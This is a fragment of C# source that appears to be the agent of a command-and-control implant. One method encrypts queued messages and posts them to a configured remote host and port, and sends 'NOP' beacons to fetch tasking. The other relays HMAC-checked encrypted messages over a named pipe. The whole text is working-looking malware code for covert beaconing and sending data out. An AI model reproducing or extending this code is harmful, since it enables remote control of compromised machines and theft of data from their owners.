private void CheckIn() { var client = GetWebClient(); Uri uri; byte[] outMessage; string dataToSend; if (Outbound.Count > 0) { client.UploadDataCompleted += UploadDataCallBack; outMessage = Crypto.Encrypt(Outbound.Dequeue()); dataToSend = $"Message={Convert.ToBase64String(outMessage)}"; uri = new Uri($"http://{ConnectHost}:{ConnectPort}"); client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend)); } else { client.DownloadDataCompleted += DownloadDataCallBack; outMessage = Crypto.Encrypt(new AgentMessage { IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Metadata, Data = new C2Data { Module = "Core", Command = "NOP" } }); dataToSend = $"Message={Convert.ToBase64String(outMessage)}"; uri = new Uri($"http://{ConnectHost}:{ConnectPort}?{dataToSend}"); client.DownloadDataAsync(uri); } client.Dispose(); }
private void ReadCallback(IAsyncResult ar) { var state = ar.AsyncState as CommStateObject; var pipe = state.Worker as NamedPipeServerStream; var bytesRead = 0; try { bytesRead = pipe.EndRead(ar); } catch { } if (bytesRead > 0) { var data = DataJuggle(bytesRead, pipe, state); if (Crypto.VerifyHMAC(data)) { var inbound = Crypto.Decrypt <AgentMessage>(data); if (inbound != null) { Inbound.Enqueue(inbound); } } } var outbound = new AgentMessage { Metadata = Metadata }; if (Outbound.Count > 0) { outbound = Outbound.Dequeue(); } var dataToSend = Crypto.Encrypt(outbound); pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(WriteCallback), pipe); }